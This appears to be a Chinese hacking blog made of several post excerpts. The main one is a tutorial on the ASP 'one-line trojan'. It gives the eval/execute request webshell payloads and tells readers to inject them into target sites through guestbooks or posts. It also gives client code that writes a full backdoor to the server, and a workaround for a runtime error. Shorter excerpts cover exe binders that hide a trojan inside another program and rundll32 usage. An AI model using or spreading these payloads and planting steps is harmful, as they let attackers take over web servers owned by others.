亲手博客

当网络安全捍卫者需要编译exploit代码时，这已经不是第一次了。每天发现针对Windows和Linux超过十多个 的新exploit对我们来讲也不是罕见的，不幸的是，你不能够始终信任exploit的作者或者安全技术文章。  (全文…)

黑客在注册信息的电子邮箱或者个人主页等中插入类似如下代码：
<%execute request(“value”)%>
<%eval request(“value”)%>(现在比较多见的，而且字符少，对表单字数有限制的地方特别的实用)
当知道了数据库的URL，就可以利用本地一张网页进行连接得到Webshell。（不知道数据 库也可以，只要知道<%eval request(“value”)%>这个文件被插入到哪一个ASP文件里面就可以了。）
这就被称为一句话木马，它是基于B/S结构的。

使用方法

首先,找到数据库是asp格式的网站,然后,以留言板,或者发表文章的方式,把一句话添加到 asp数据库
或者加进asp网页.
记住!我们的目的是把一句话<%execute request(“value”)%>添加到数据库,无论任何方式!
然后打开客户端(就是你电脑上面的那个htm文件),填上加入了一句话的asp文件,或者是 asp网页,然后杀进去!,这就可以干你想干的事情了!(作者:蚊虫)

一句话木马原理

首 先<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行, 后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了 Request.form(‘#’)+”这句代码,Request.form(‘#’)的作用是读取客户端文件中html标记属性中name值被命名 为#的部分,例如如下摘自一句话客户端的代码:
<textarea name=# cols=”80″ rows=”10″>
set iP=server.createObject(“Adodb.Stream”)
iP.Open
iP.Type=2
iP.CharSet=”gb2312″
iP.writetext request(“aoyun”)
iP.SaveToFile server.mappath(“aoyunwan.asp”),2
iP.Close
set iP=nothing
response.redirect “aoyunwan.asp”
</textarea>
学过html的朋友应该注意到了在textarea标记中的name属性被赋值为#,也就是服 务器端就是要读取其中的代码(使用Request.form(‘#’)),然后执行(使用eval(Request.form(‘#’)+”)),也就 是执行了:
set iP=server.createObject(“Adodb.Stream”)
iP.Open
iP.Type=2
iP.CharSet=”gb2312″
iP.writetext request(“aoyun”)
iP.SaveToFile server.mappath(“aoyunwan.asp”),2
iP.Close
set iP=nothing
response.redirect “aoyunwan.asp”
学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用对象中的 writetext方法将 request(“aoyun”)读取过来的内容(就是我们常见的一句话客户端的第二个textarea域中的内容,也就是我们的大马的代码)写入服务端 的 aoyunwan.asp
文件中,写入结束后使用set iP=nothing 释放对方 然后使用response.redirect “aoyunwan.asp” 转向写入的文件,就是我们最后见的大马了!

关于服务器错误

经常,当 我们在一个asp文件内添加了一句话后,就会出现类型不匹配的错误:
Script error detected at line 1.
Source line: execute request(“nettoo”)
Description: 类型不匹配: ‘execute’
这个如何解决呢?
想出了一个好办法,只要用”eval”替换掉”execute”服务端,就不会出错了!

一、关于编译

拿到源代码以后如何编译？出现错误如何处理？
在Windows下，如果你拿到的源码包解压后（一般要带目录解压）首先看有没有readme文件，如果这些源码是一个VC的项目，那么readme文件中会包含一个文件列表及文件的功能及一些说明性的文字（这个文件是由VC自动建立的），那么你应该查找有没有一个dsw后缀的文件，这个文件是VC的工作区文件，双击这个文件，VC会自动启动并打开这个文件，一般情况下是可以直接编译通过的；如果没有这个文件，那么看是不是有一个dsp后缀的文件，这个文件是VC的项目文件，同dsw文件的打开方式，在VC下编译的时候会问你是不是建立工作区，选择是后也是可以正确编译的；如果这些源码不是由VC建立的项目，那么这个readme文件中会包含这些源码的编译方式及编译环境，看好，是不是可以在windows下编译，怎么编译。一般情况下，如果我们找到这些说明文件，那么源码是可以很好的编译的；如果没有找到任何说明性的文件，那就比较麻烦了，是不是非编译不可？如果不是那就算了，找个好编译的。 ^_^
在windows下，源码包一般是zip、rar后缀的，如果是gz、tar后缀的，一般情况下不是windows下的源码，大多数情况下，一个完整的源码包是可以很简单的编译成功的。 (全文…)

一、传统的捆绑器

这种原理很简单，也是目前用的最多的一种。就是将B.exe附加到A.exe的末尾。这样当A.exe被执行的时候，B.exe也跟着执行了。 这种捆绑器的代码是满网都是。我最早是从jingtao的一篇关于流的文章中得知的。就目前来说，已经没什么技术含量了。

检测方法:稍微懂一点PE知识的人都应该知道。一个完整有效的PE/EXE文件，他的里面都包含了几个绝对固定的特点[不管是否加壳]。一是文 件以MZ开头，跟着DOS头后面的PE头以PE\0\0开头。有了这两个特点，检测就变得很简单了。只需利用UltraEdit一类工具打开目标文件搜索 关键字MZ或者PE。如果找到两个或者两个以上。则说明这个文件一定是被捆绑了。不过值得注意的是，一些生成器也是利用了这个原理，将木马附加到生成器末 尾，用户选择生成的时候读出来。另外网上流行的多款“捆绑文件检测工具”都是文件读出来，然后检索关键字MZ或者PE。说到这里，相信大家有了一个大概的 了解。那就是所谓的“捆绑文件检测工具”是完全靠不住的一样东西。 (全文…)

命令行下的使用方法为：Rundll32.exe DLLname,Functionname [Arguments] DLLname为需要执行的DLL文件名；Functionname为前边需要执行的DLL文件的具体引出函数；[Arguments]为引出函数的具体参数。

注意三点：1.Dll档案名中不能含有空格，比如该档案位於c:\ProgramFiles\目录，你要把这个路径改成c:\Progra～1\ (全文…)